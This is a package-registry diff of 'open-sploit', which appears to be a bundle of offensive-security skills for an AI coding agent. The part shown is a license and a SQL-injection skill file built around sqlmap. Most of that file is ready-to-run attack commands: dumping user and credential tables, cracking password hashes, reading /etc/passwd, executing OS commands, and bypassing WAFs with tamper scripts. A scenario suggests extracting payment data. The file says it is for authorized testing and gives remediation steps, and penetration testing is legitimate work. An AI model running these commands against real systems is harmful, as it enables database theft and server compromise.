open-sploit 1.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +75 -0
- package/bin/install.mjs +158 -0
- package/package.json +27 -0
- package/template/agent/offsec.md +53 -0
- package/template/command/target.md +45 -0
- package/template/config/opencode.example.json +46 -0
- package/template/skills/api-security-testing/SKILL.md +61 -0
- package/template/skills/conducting-api-security-testing/LICENSE +201 -0
- package/template/skills/conducting-api-security-testing/SKILL.md +195 -0
- package/template/skills/conducting-api-security-testing/references/api-reference.md +62 -0
- package/template/skills/conducting-api-security-testing/scripts/agent.py +228 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/SKILL.md +481 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/references/api-reference.md +103 -0
- package/template/skills/exploiting-api-injection-vulnerabilities/scripts/agent.py +142 -0
- package/template/skills/exploiting-http-request-smuggling/LICENSE +201 -0
- package/template/skills/exploiting-http-request-smuggling/SKILL.md +343 -0
- package/template/skills/exploiting-http-request-smuggling/references/api-reference.md +53 -0
- package/template/skills/exploiting-http-request-smuggling/scripts/agent.py +196 -0
- package/template/skills/exploiting-idor-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-idor-vulnerabilities/SKILL.md +309 -0
- package/template/skills/exploiting-idor-vulnerabilities/references/api-reference.md +52 -0
- package/template/skills/exploiting-idor-vulnerabilities/scripts/agent.py +177 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/LICENSE +201 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md +472 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/references/api-reference.md +99 -0
- package/template/skills/exploiting-jwt-algorithm-confusion-attack/scripts/agent.py +132 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/SKILL.md +219 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/assets/template.md +30 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/api-reference.md +85 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/standards.md +19 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/references/workflows.md +23 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/agent.py +136 -0
- package/template/skills/exploiting-nosql-injection-vulnerabilities/scripts/process.py +222 -0
- package/template/skills/exploiting-oauth-misconfiguration/LICENSE +201 -0
- package/template/skills/exploiting-oauth-misconfiguration/SKILL.md +316 -0
- package/template/skills/exploiting-oauth-misconfiguration/references/api-reference.md +59 -0
- package/template/skills/exploiting-oauth-misconfiguration/scripts/agent.py +232 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/LICENSE +201 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/SKILL.md +239 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/references/api-reference.md +102 -0
- package/template/skills/exploiting-prototype-pollution-in-javascript/scripts/agent.py +156 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/SKILL.md +246 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/references/api-reference.md +84 -0
- package/template/skills/exploiting-race-condition-vulnerabilities/scripts/agent.py +119 -0
- package/template/skills/exploiting-server-side-request-forgery/LICENSE +201 -0
- package/template/skills/exploiting-server-side-request-forgery/SKILL.md +354 -0
- package/template/skills/exploiting-server-side-request-forgery/references/api-reference.md +57 -0
- package/template/skills/exploiting-server-side-request-forgery/scripts/agent.py +183 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/SKILL.md +205 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/references/api-reference.md +60 -0
- package/template/skills/exploiting-sql-injection-vulnerabilities/scripts/agent.py +196 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/LICENSE +201 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/SKILL.md +257 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/references/api-reference.md +74 -0
- package/template/skills/exploiting-sql-injection-with-sqlmap/scripts/agent.py +217 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/SKILL.md +322 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/references/api-reference.md +55 -0
- package/template/skills/exploiting-template-injection-vulnerabilities/scripts/agent.py +205 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/SKILL.md +272 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/references/api-reference.md +87 -0
- package/template/skills/exploiting-type-juggling-vulnerabilities/scripts/agent.py +141 -0
- package/template/skills/exploiting-websocket-vulnerabilities/LICENSE +201 -0
- package/template/skills/exploiting-websocket-vulnerabilities/SKILL.md +424 -0
- package/template/skills/exploiting-websocket-vulnerabilities/references/api-reference.md +62 -0
- package/template/skills/exploiting-websocket-vulnerabilities/scripts/agent.py +211 -0
- package/template/skills/hackerone/SKILL.md +137 -0
- package/template/skills/hackerone/reference/INTEGRATION_GUIDE.md +199 -0
- package/template/skills/hackerone/reference/sensitive-data-tracking.md +134 -0
- package/template/skills/hackerone/tools/__init__.py +0 -0
- package/template/skills/hackerone/tools/csv_parser.py +185 -0
- package/template/skills/hackerone/tools/report_validator.py +285 -0
- package/template/skills/hackerone/tools/sensitive_data_tracker.py +495 -0
- package/template/skills/owasp-top-10-testing/SKILL.md +64 -0
- package/template/skills/web-app-penetration-testing/SKILL.md +54 -0
|
@@ -0,0 +1,201 @@
|
|
|
1
|
+
|
|
2
|
+
Apache License
|
|
3
|
+
Version 2.0, January 2004
|
|
4
|
+
http://www.apache.org/licenses/
|
|
5
|
+
|
|
6
|
+
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
|
7
|
+
|
|
8
|
+
1. Definitions.
|
|
9
|
+
|
|
10
|
+
"License" shall mean the terms and conditions for use, reproduction,
|
|
11
|
+
and distribution as defined by Sections 1 through 9 of this document.
|
|
12
|
+
|
|
13
|
+
"Licensor" shall mean the copyright owner or entity authorized by
|
|
14
|
+
the copyright owner that is granting the License.
|
|
15
|
+
|
|
16
|
+
"Legal Entity" shall mean the union of the acting entity and all
|
|
17
|
+
other entities that control, are controlled by, or are under common
|
|
18
|
+
control with that entity. For the purposes of this definition,
|
|
19
|
+
"control" means (i) the power, direct or indirect, to cause the
|
|
20
|
+
direction or management of such entity, whether by contract or
|
|
21
|
+
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
|
22
|
+
outstanding shares, or (iii) beneficial ownership of such entity.
|
|
23
|
+
|
|
24
|
+
"You" (or "Your") shall mean an individual or Legal Entity
|
|
25
|
+
exercising permissions granted by this License.
|
|
26
|
+
|
|
27
|
+
"Source" form shall mean the preferred form for making modifications,
|
|
28
|
+
including but not limited to software source code, documentation
|
|
29
|
+
source, and configuration files.
|
|
30
|
+
|
|
31
|
+
"Object" form shall mean any form resulting from mechanical
|
|
32
|
+
transformation or translation of a Source form, including but
|
|
33
|
+
not limited to compiled object code, generated documentation,
|
|
34
|
+
and conversions to other media types.
|
|
35
|
+
|
|
36
|
+
"Work" shall mean the work of authorship, whether in Source or
|
|
37
|
+
Object form, made available under the License, as indicated by a
|
|
38
|
+
copyright notice that is included in or attached to the work
|
|
39
|
+
(an example is provided in the Appendix below).
|
|
40
|
+
|
|
41
|
+
"Derivative Works" shall mean any work, whether in Source or Object
|
|
42
|
+
form, that is based on (or derived from) the Work and for which the
|
|
43
|
+
editorial revisions, annotations, elaborations, or other modifications
|
|
44
|
+
represent, as a whole, an original work of authorship. For the purposes
|
|
45
|
+
of this License, Derivative Works shall not include works that remain
|
|
46
|
+
separable from, or merely link (or bind by name) to the interfaces of,
|
|
47
|
+
the Work and Derivative Works thereof.
|
|
48
|
+
|
|
49
|
+
"Contribution" shall mean any work of authorship, including
|
|
50
|
+
the original version of the Work and any modifications or additions
|
|
51
|
+
to that Work or Derivative Works thereof, that is intentionally
|
|
52
|
+
submitted to the Licensor for inclusion in the Work by the copyright owner
|
|
53
|
+
or by an individual or Legal Entity authorized to submit on behalf of
|
|
54
|
+
the copyright owner. For the purposes of this definition, "submitted"
|
|
55
|
+
means any form of electronic, verbal, or written communication sent
|
|
56
|
+
to the Licensor or its representatives, including but not limited to
|
|
57
|
+
communication on electronic mailing lists, source code control systems,
|
|
58
|
+
and issue tracking systems that are managed by, or on behalf of, the
|
|
59
|
+
Licensor for the purpose of discussing and improving the Work, but
|
|
60
|
+
excluding communication that is conspicuously marked or otherwise
|
|
61
|
+
designated in writing by the copyright owner as "Not a Contribution."
|
|
62
|
+
|
|
63
|
+
"Contributor" shall mean Licensor and any individual or Legal Entity
|
|
64
|
+
on behalf of whom a Contribution has been received by the Licensor and
|
|
65
|
+
subsequently incorporated within the Work.
|
|
66
|
+
|
|
67
|
+
2. Grant of Copyright License. Subject to the terms and conditions of
|
|
68
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
69
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
70
|
+
copyright license to reproduce, prepare Derivative Works of,
|
|
71
|
+
publicly display, publicly perform, sublicense, and distribute the
|
|
72
|
+
Work and such Derivative Works in Source or Object form.
|
|
73
|
+
|
|
74
|
+
3. Grant of Patent License. Subject to the terms and conditions of
|
|
75
|
+
this License, each Contributor hereby grants to You a perpetual,
|
|
76
|
+
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
|
77
|
+
(except as stated in this section) patent license to make, have made,
|
|
78
|
+
use, offer to sell, sell, import, and otherwise transfer the Work,
|
|
79
|
+
where such license applies only to those patent claims licensable
|
|
80
|
+
by such Contributor that are necessarily infringed by their
|
|
81
|
+
Contribution(s) alone or by combination of their Contribution(s)
|
|
82
|
+
with the Work to which such Contribution(s) was submitted. If You
|
|
83
|
+
institute patent litigation against any entity (including a
|
|
84
|
+
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
|
85
|
+
or a Contribution incorporated within the Work constitutes direct
|
|
86
|
+
or contributory patent infringement, then any patent licenses
|
|
87
|
+
granted to You under this License for that Work shall terminate
|
|
88
|
+
as of the date such litigation is filed.
|
|
89
|
+
|
|
90
|
+
4. Redistribution. You may reproduce and distribute copies of the
|
|
91
|
+
Work or Derivative Works thereof in any medium, with or without
|
|
92
|
+
modifications, and in Source or Object form, provided that You
|
|
93
|
+
meet the following conditions:
|
|
94
|
+
|
|
95
|
+
(a) You must give any other recipients of the Work or
|
|
96
|
+
Derivative Works a copy of this License; and
|
|
97
|
+
|
|
98
|
+
(b) You must cause any modified files to carry prominent notices
|
|
99
|
+
stating that You changed the files; and
|
|
100
|
+
|
|
101
|
+
(c) You must retain, in the Source form of any Derivative Works
|
|
102
|
+
that You distribute, all copyright, patent, trademark, and
|
|
103
|
+
attribution notices from the Source form of the Work,
|
|
104
|
+
excluding those notices that do not pertain to any part of
|
|
105
|
+
the Derivative Works; and
|
|
106
|
+
|
|
107
|
+
(d) If the Work includes a "NOTICE" text file as part of its
|
|
108
|
+
distribution, then any Derivative Works that You distribute must
|
|
109
|
+
include a readable copy of the attribution notices contained
|
|
110
|
+
within such NOTICE file, excluding any notices that do not
|
|
111
|
+
pertain to any part of the Derivative Works, in at least one
|
|
112
|
+
of the following places: within a NOTICE text file distributed
|
|
113
|
+
as part of the Derivative Works; within the Source form or
|
|
114
|
+
documentation, if provided along with the Derivative Works; or,
|
|
115
|
+
within a display generated by the Derivative Works, if and
|
|
116
|
+
wherever such third-party notices normally appear. The contents
|
|
117
|
+
of the NOTICE file are for informational purposes only and
|
|
118
|
+
do not modify the License. You may add Your own attribution
|
|
119
|
+
notices within Derivative Works that You distribute, alongside
|
|
120
|
+
or as an addendum to the NOTICE text from the Work, provided
|
|
121
|
+
that such additional attribution notices cannot be construed
|
|
122
|
+
as modifying the License.
|
|
123
|
+
|
|
124
|
+
You may add Your own copyright statement to Your modifications and
|
|
125
|
+
may provide additional or different license terms and conditions
|
|
126
|
+
for use, reproduction, or distribution of Your modifications, or
|
|
127
|
+
for any such Derivative Works as a whole, provided Your use,
|
|
128
|
+
reproduction, and distribution of the Work otherwise complies with
|
|
129
|
+
the conditions stated in this License.
|
|
130
|
+
|
|
131
|
+
5. Submission of Contributions. Unless You explicitly state otherwise,
|
|
132
|
+
any Contribution intentionally submitted for inclusion in the Work
|
|
133
|
+
by You to the Licensor shall be under the terms and conditions of
|
|
134
|
+
this License, without any additional terms or conditions.
|
|
135
|
+
Notwithstanding the above, nothing herein shall supersede or modify
|
|
136
|
+
the terms of any separate license agreement you may have executed
|
|
137
|
+
with Licensor regarding such Contributions.
|
|
138
|
+
|
|
139
|
+
6. Trademarks. This License does not grant permission to use the trade
|
|
140
|
+
names, trademarks, service marks, or product names of the Licensor,
|
|
141
|
+
except as required for reasonable and customary use in describing the
|
|
142
|
+
origin of the Work and reproducing the content of the NOTICE file.
|
|
143
|
+
|
|
144
|
+
7. Disclaimer of Warranty. Unless required by applicable law or
|
|
145
|
+
agreed to in writing, Licensor provides the Work (and each
|
|
146
|
+
Contributor provides its Contributions) on an "AS IS" BASIS,
|
|
147
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
|
148
|
+
implied, including, without limitation, any warranties or conditions
|
|
149
|
+
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
|
150
|
+
PARTICULAR PURPOSE. You are solely responsible for determining the
|
|
151
|
+
appropriateness of using or redistributing the Work and assume any
|
|
152
|
+
risks associated with Your exercise of permissions under this License.
|
|
153
|
+
|
|
154
|
+
8. Limitation of Liability. In no event and under no legal theory,
|
|
155
|
+
whether in tort (including negligence), contract, or otherwise,
|
|
156
|
+
unless required by applicable law (such as deliberate and grossly
|
|
157
|
+
negligent acts) or agreed to in writing, shall any Contributor be
|
|
158
|
+
liable to You for damages, including any direct, indirect, special,
|
|
159
|
+
incidental, or consequential damages of any character arising as a
|
|
160
|
+
result of this License or out of the use or inability to use the
|
|
161
|
+
Work (including but not limited to damages for loss of goodwill,
|
|
162
|
+
work stoppage, computer failure or malfunction, or any and all
|
|
163
|
+
other commercial damages or losses), even if such Contributor
|
|
164
|
+
has been advised of the possibility of such damages.
|
|
165
|
+
|
|
166
|
+
9. Accepting Warranty or Additional Liability. While redistributing
|
|
167
|
+
the Work or Derivative Works thereof, You may choose to offer,
|
|
168
|
+
and charge a fee for, acceptance of support, warranty, indemnity,
|
|
169
|
+
or other liability obligations and/or rights consistent with this
|
|
170
|
+
License. However, in accepting such obligations, You may act only
|
|
171
|
+
on Your own behalf and on Your sole responsibility, not on behalf
|
|
172
|
+
of any other Contributor, and only if You agree to indemnify,
|
|
173
|
+
defend, and hold each Contributor harmless for any liability
|
|
174
|
+
incurred by, or claims asserted against, such Contributor by reason
|
|
175
|
+
of your accepting any such warranty or additional liability.
|
|
176
|
+
|
|
177
|
+
END OF TERMS AND CONDITIONS
|
|
178
|
+
|
|
179
|
+
APPENDIX: How to apply the Apache License to your work.
|
|
180
|
+
|
|
181
|
+
To apply the Apache License to your work, attach the following
|
|
182
|
+
boilerplate notice, with the fields enclosed by brackets "[]"
|
|
183
|
+
replaced with your own identifying information. (Don't include
|
|
184
|
+
the brackets!) The text should be enclosed in the appropriate
|
|
185
|
+
comment syntax for the file format. Please do not remove or change
|
|
186
|
+
the license header comment from a contributed file except when
|
|
187
|
+
necessary.
|
|
188
|
+
|
|
189
|
+
Copyright 2026 mukul975
|
|
190
|
+
|
|
191
|
+
Licensed under the Apache License, Version 2.0 (the "License");
|
|
192
|
+
you may not use this file except in compliance with the License.
|
|
193
|
+
You may obtain a copy of the License at
|
|
194
|
+
|
|
195
|
+
http://www.apache.org/licenses/LICENSE-2.0
|
|
196
|
+
|
|
197
|
+
Unless required by applicable law or agreed to in writing, software
|
|
198
|
+
distributed under the License is distributed on an "AS IS" BASIS,
|
|
199
|
+
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
|
200
|
+
See the License for the specific language governing permissions and
|
|
201
|
+
limitations under the License.
|
|
@@ -0,0 +1,257 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: exploiting-sql-injection-with-sqlmap
|
|
3
|
+
description: Detecting and exploiting SQL injection vulnerabilities using sqlmap to
|
|
4
|
+
extract database contents during authorized penetration tests.
|
|
5
|
+
domain: cybersecurity
|
|
6
|
+
subdomain: web-application-security
|
|
7
|
+
tags:
|
|
8
|
+
- penetration-testing
|
|
9
|
+
- sql-injection
|
|
10
|
+
- sqlmap
|
|
11
|
+
- owasp
|
|
12
|
+
- database-security
|
|
13
|
+
- web-security
|
|
14
|
+
version: '1.0'
|
|
15
|
+
author: mahipal
|
|
16
|
+
license: Apache-2.0
|
|
17
|
+
nist_csf:
|
|
18
|
+
- PR.PS-01
|
|
19
|
+
- ID.RA-01
|
|
20
|
+
- PR.DS-10
|
|
21
|
+
- DE.CM-01
|
|
22
|
+
mitre_attack:
|
|
23
|
+
- T1190
|
|
24
|
+
- T1059.007
|
|
25
|
+
- T1505.003
|
|
26
|
+
- T1083
|
|
27
|
+
- T1055
|
|
28
|
+
---
|
|
29
|
+
|
|
30
|
+
# Exploiting SQL Injection with sqlmap
|
|
31
|
+
|
|
32
|
+
## When to Use
|
|
33
|
+
|
|
34
|
+
- During authorized web application penetration testing engagements
|
|
35
|
+
- When manual testing reveals potential SQL injection points in parameters, headers, or cookies
|
|
36
|
+
- For validating SQL injection findings from automated scanners like Burp Suite or OWASP ZAP
|
|
37
|
+
- When you need to demonstrate the impact of SQL injection by extracting data from backend databases
|
|
38
|
+
- During CTF challenges involving SQL injection exploitation
|
|
39
|
+
|
|
40
|
+
## Prerequisites
|
|
41
|
+
|
|
42
|
+
- **Authorization**: Written penetration testing agreement (Rules of Engagement) for the target
|
|
43
|
+
- **sqlmap**: Install via `pip install sqlmap` or `apt install sqlmap` on Kali Linux
|
|
44
|
+
- **Python 3.6+**: Required runtime for sqlmap
|
|
45
|
+
- **Burp Suite** (optional): For capturing and replaying HTTP requests
|
|
46
|
+
- **Target access**: Network connectivity to the target web application
|
|
47
|
+
- **Browser with proxy**: Firefox with FoxyProxy for intercepting requests
|
|
48
|
+
|
|
49
|
+
## Workflow
|
|
50
|
+
|
|
51
|
+
### Step 1: Identify Potential Injection Points
|
|
52
|
+
|
|
53
|
+
Manually browse the application and identify parameters that interact with the database. Use Burp Suite to capture requests.
|
|
54
|
+
|
|
55
|
+
```bash
|
|
56
|
+
# Start Burp Suite proxy and capture requests
|
|
57
|
+
# Look for parameters in URLs, POST bodies, cookies, and headers
|
|
58
|
+
# Example target URL with a suspected injectable parameter:
|
|
59
|
+
# https://target.example.com/products?id=1
|
|
60
|
+
|
|
61
|
+
# Test manually for basic SQL injection indicators
|
|
62
|
+
curl -k "https://target.example.com/products?id=1'"
|
|
63
|
+
# Look for SQL error messages like:
|
|
64
|
+
# - "You have an error in your SQL syntax"
|
|
65
|
+
# - "ORA-01756: quoted string not properly terminated"
|
|
66
|
+
# - "Microsoft SQL Native Client error"
|
|
67
|
+
```
|
|
68
|
+
|
|
69
|
+
### Step 2: Run sqlmap Basic Detection Scan
|
|
70
|
+
|
|
71
|
+
Launch sqlmap against the suspected injection point to confirm the vulnerability and identify the database type.
|
|
72
|
+
|
|
73
|
+
```bash
|
|
74
|
+
# Basic GET parameter test
|
|
75
|
+
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent
|
|
76
|
+
|
|
77
|
+
# For POST requests (save the request from Burp Suite to a file)
|
|
78
|
+
sqlmap -r request.txt --batch --random-agent
|
|
79
|
+
|
|
80
|
+
# Test specific parameter in a POST request
|
|
81
|
+
sqlmap -u "https://target.example.com/login" \
|
|
82
|
+
--data="username=admin&password=test" \
|
|
83
|
+
-p "username" --batch --random-agent
|
|
84
|
+
|
|
85
|
+
# Test with cookie-based injection
|
|
86
|
+
sqlmap -u "https://target.example.com/dashboard" \
|
|
87
|
+
--cookie="session=abc123; user_id=5" \
|
|
88
|
+
-p "user_id" --batch --random-agent
|
|
89
|
+
```
|
|
90
|
+
|
|
91
|
+
### Step 3: Enumerate Database Structure
|
|
92
|
+
|
|
93
|
+
Once injection is confirmed, enumerate databases, tables, and columns.
|
|
94
|
+
|
|
95
|
+
```bash
|
|
96
|
+
# List all databases
|
|
97
|
+
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent
|
|
98
|
+
|
|
99
|
+
# List tables in a specific database
|
|
100
|
+
sqlmap -u "https://target.example.com/products?id=1" \
|
|
101
|
+
-D target_db --tables --batch --random-agent
|
|
102
|
+
|
|
103
|
+
# List columns in a specific table
|
|
104
|
+
sqlmap -u "https://target.example.com/products?id=1" \
|
|
105
|
+
-D target_db -T users --columns --batch --random-agent
|
|
106
|
+
```
|
|
107
|
+
|
|
108
|
+
### Step 4: Extract Data from Target Tables
|
|
109
|
+
|
|
110
|
+
Dump the contents of sensitive tables to demonstrate impact.
|
|
111
|
+
|
|
112
|
+
```bash
|
|
113
|
+
# Dump specific columns from a table
|
|
114
|
+
sqlmap -u "https://target.example.com/products?id=1" \
|
|
115
|
+
-D target_db -T users -C "username,password,email" \
|
|
116
|
+
--dump --batch --random-agent
|
|
117
|
+
|
|
118
|
+
# Dump with row limit to avoid excessive data extraction
|
|
119
|
+
sqlmap -u "https://target.example.com/products?id=1" \
|
|
120
|
+
-D target_db -T users --dump --start=1 --stop=10 \
|
|
121
|
+
--batch --random-agent
|
|
122
|
+
|
|
123
|
+
# Attempt to crack password hashes automatically
|
|
124
|
+
sqlmap -u "https://target.example.com/products?id=1" \
|
|
125
|
+
-D target_db -T users -C "username,password" \
|
|
126
|
+
--dump --batch --passwords --random-agent
|
|
127
|
+
```
|
|
128
|
+
|
|
129
|
+
### Step 5: Test for Advanced Exploitation Vectors
|
|
130
|
+
|
|
131
|
+
Assess the full impact by testing OS-level access and file operations.
|
|
132
|
+
|
|
133
|
+
```bash
|
|
134
|
+
# Check current database user and privileges
|
|
135
|
+
sqlmap -u "https://target.example.com/products?id=1" \
|
|
136
|
+
--current-user --current-db --is-dba --batch --random-agent
|
|
137
|
+
|
|
138
|
+
# Attempt to read server files (if DBA privileges exist)
|
|
139
|
+
sqlmap -u "https://target.example.com/products?id=1" \
|
|
140
|
+
--file-read="/etc/passwd" --batch --random-agent
|
|
141
|
+
|
|
142
|
+
# Attempt OS command execution (MySQL with FILE privilege)
|
|
143
|
+
sqlmap -u "https://target.example.com/products?id=1" \
|
|
144
|
+
--os-cmd="whoami" --batch --random-agent
|
|
145
|
+
```
|
|
146
|
+
|
|
147
|
+
### Step 6: Use Tamper Scripts to Bypass WAF/Filters
|
|
148
|
+
|
|
149
|
+
When Web Application Firewalls or input filters block basic payloads, use tamper scripts.
|
|
150
|
+
|
|
151
|
+
```bash
|
|
152
|
+
# Common tamper scripts for WAF bypass
|
|
153
|
+
sqlmap -u "https://target.example.com/products?id=1" \
|
|
154
|
+
--tamper="space2comment,between,randomcase" \
|
|
155
|
+
--batch --random-agent
|
|
156
|
+
|
|
157
|
+
# For specific WAF bypass (e.g., ModSecurity)
|
|
158
|
+
sqlmap -u "https://target.example.com/products?id=1" \
|
|
159
|
+
--tamper="modsecurityversioned,modsecurityzeroversioned" \
|
|
160
|
+
--batch --random-agent
|
|
161
|
+
|
|
162
|
+
# List all available tamper scripts
|
|
163
|
+
sqlmap --list-tampers
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
### Step 7: Generate Report and Clean Up
|
|
167
|
+
|
|
168
|
+
Document findings and clean up any artifacts.
|
|
169
|
+
|
|
170
|
+
```bash
|
|
171
|
+
# sqlmap stores results in ~/.local/share/sqlmap/output/
|
|
172
|
+
# Review the target output directory
|
|
173
|
+
ls -la ~/.local/share/sqlmap/output/target.example.com/
|
|
174
|
+
|
|
175
|
+
# Export results with specific output directory
|
|
176
|
+
sqlmap -u "https://target.example.com/products?id=1" \
|
|
177
|
+
-D target_db -T users --dump \
|
|
178
|
+
--output-dir="/tmp/pentest-results" \
|
|
179
|
+
--batch --random-agent
|
|
180
|
+
|
|
181
|
+
# Clean sqlmap session data after engagement
|
|
182
|
+
sqlmap --purge
|
|
183
|
+
```
|
|
184
|
+
|
|
185
|
+
## Key Concepts
|
|
186
|
+
|
|
187
|
+
| Concept | Description |
|
|
188
|
+
|---------|-------------|
|
|
189
|
+
| **Union-based SQLi** | Uses UNION SELECT to append attacker query results to the original query output |
|
|
190
|
+
| **Blind Boolean SQLi** | Infers data one bit at a time by observing true/false application responses |
|
|
191
|
+
| **Blind Time-based SQLi** | Uses database sleep functions (e.g., `SLEEP(5)`) to infer data based on response delays |
|
|
192
|
+
| **Error-based SQLi** | Extracts data through verbose database error messages returned in HTTP responses |
|
|
193
|
+
| **Stacked Queries** | Executes multiple SQL statements separated by semicolons for INSERT/UPDATE/DELETE operations |
|
|
194
|
+
| **Out-of-band SQLi** | Exfiltrates data via DNS or HTTP requests initiated by the database server |
|
|
195
|
+
| **Tamper Scripts** | sqlmap plugins that modify payloads to bypass WAFs and input sanitization filters |
|
|
196
|
+
| **Second-order SQLi** | Injected payload is stored and executed later in a different query context |
|
|
197
|
+
|
|
198
|
+
## Tools & Systems
|
|
199
|
+
|
|
200
|
+
| Tool | Purpose |
|
|
201
|
+
|------|---------|
|
|
202
|
+
| **sqlmap** | Automated SQL injection detection and exploitation framework |
|
|
203
|
+
| **Burp Suite Professional** | HTTP proxy for intercepting, modifying, and replaying requests |
|
|
204
|
+
| **OWASP ZAP** | Free alternative to Burp for web application scanning and proxying |
|
|
205
|
+
| **Havij** | Automated SQL injection tool with GUI (Windows) |
|
|
206
|
+
| **jSQL Injection** | Java-based GUI tool for SQL injection testing |
|
|
207
|
+
| **DBeaver/DataGrip** | Database clients for verifying extracted data structure |
|
|
208
|
+
|
|
209
|
+
## Common Scenarios
|
|
210
|
+
|
|
211
|
+
### Scenario 1: E-commerce Product Page SQLi
|
|
212
|
+
A product detail page uses `id` parameter directly in SQL query. Use sqlmap to extract the full customer database including payment information to demonstrate critical business impact.
|
|
213
|
+
|
|
214
|
+
### Scenario 2: Login Form Bypass
|
|
215
|
+
A login form concatenates user input into an authentication query. Exploit to bypass authentication and enumerate all user credentials stored in the database.
|
|
216
|
+
|
|
217
|
+
### Scenario 3: Search Function with WAF Protection
|
|
218
|
+
A search feature is vulnerable to SQL injection but protected by a WAF. Use tamper scripts like `space2comment` and `between` to encode payloads and bypass the filter rules.
|
|
219
|
+
|
|
220
|
+
### Scenario 4: Cookie-based Blind SQL Injection
|
|
221
|
+
A session cookie value is used in a database query on the server side. Use time-based blind injection techniques to extract data character by character.
|
|
222
|
+
|
|
223
|
+
## Output Format
|
|
224
|
+
|
|
225
|
+
```
|
|
226
|
+
## SQL Injection Finding
|
|
227
|
+
|
|
228
|
+
**Vulnerability**: SQL Injection (Union-based)
|
|
229
|
+
**Severity**: Critical (CVSS 9.8)
|
|
230
|
+
**Location**: GET parameter `id` at /products?id=1
|
|
231
|
+
**Database**: MySQL 8.0.32
|
|
232
|
+
**Impact**: Full database read access, 15,000 user records exposed
|
|
233
|
+
**OWASP Category**: A03:2021 - Injection
|
|
234
|
+
|
|
235
|
+
### Evidence
|
|
236
|
+
- Injection point: `id` parameter (GET)
|
|
237
|
+
- Technique: UNION query-based
|
|
238
|
+
- Backend DBMS: MySQL >= 5.0
|
|
239
|
+
- Current user: app_user@localhost
|
|
240
|
+
- DBA privileges: No
|
|
241
|
+
|
|
242
|
+
### Databases Enumerated
|
|
243
|
+
1. information_schema
|
|
244
|
+
2. target_app_db
|
|
245
|
+
3. mysql
|
|
246
|
+
|
|
247
|
+
### Sensitive Data Exposed
|
|
248
|
+
- Table: users (15,247 rows)
|
|
249
|
+
- Columns: id, username, email, password_hash, created_at
|
|
250
|
+
|
|
251
|
+
### Recommendation
|
|
252
|
+
1. Use parameterized queries (prepared statements) for all database interactions
|
|
253
|
+
2. Implement input validation with allowlists for expected data types
|
|
254
|
+
3. Apply least-privilege database permissions for the application user
|
|
255
|
+
4. Deploy a Web Application Firewall as defense-in-depth
|
|
256
|
+
5. Enable database query logging and monitoring for anomalous patterns
|
|
257
|
+
```
|
|
@@ -0,0 +1,74 @@
|
|
|
1
|
+
# API Reference: sqlmap Automation Agent
|
|
2
|
+
|
|
3
|
+
## Dependencies
|
|
4
|
+
|
|
5
|
+
| Library | Version | Purpose |
|
|
6
|
+
|---------|---------|---------|
|
|
7
|
+
| sqlmap | >=1.7 | SQL injection detection and exploitation (subprocess) |
|
|
8
|
+
|
|
9
|
+
## CLI Usage
|
|
10
|
+
|
|
11
|
+
```bash
|
|
12
|
+
# Detection scan
|
|
13
|
+
python scripts/agent.py --url "https://target.com/page?id=1" --param id --action detect
|
|
14
|
+
|
|
15
|
+
# Enumerate databases
|
|
16
|
+
python scripts/agent.py --url "https://target.com/page?id=1" --action dbs
|
|
17
|
+
|
|
18
|
+
# List tables
|
|
19
|
+
python scripts/agent.py --url "https://target.com/page?id=1" --action tables --database target_db
|
|
20
|
+
|
|
21
|
+
# Dump table rows
|
|
22
|
+
python scripts/agent.py --url "https://target.com/page?id=1" --action dump \
|
|
23
|
+
--database target_db --table users
|
|
24
|
+
|
|
25
|
+
# Check privileges
|
|
26
|
+
python scripts/agent.py --url "https://target.com/page?id=1" --action privs
|
|
27
|
+
```
|
|
28
|
+
|
|
29
|
+
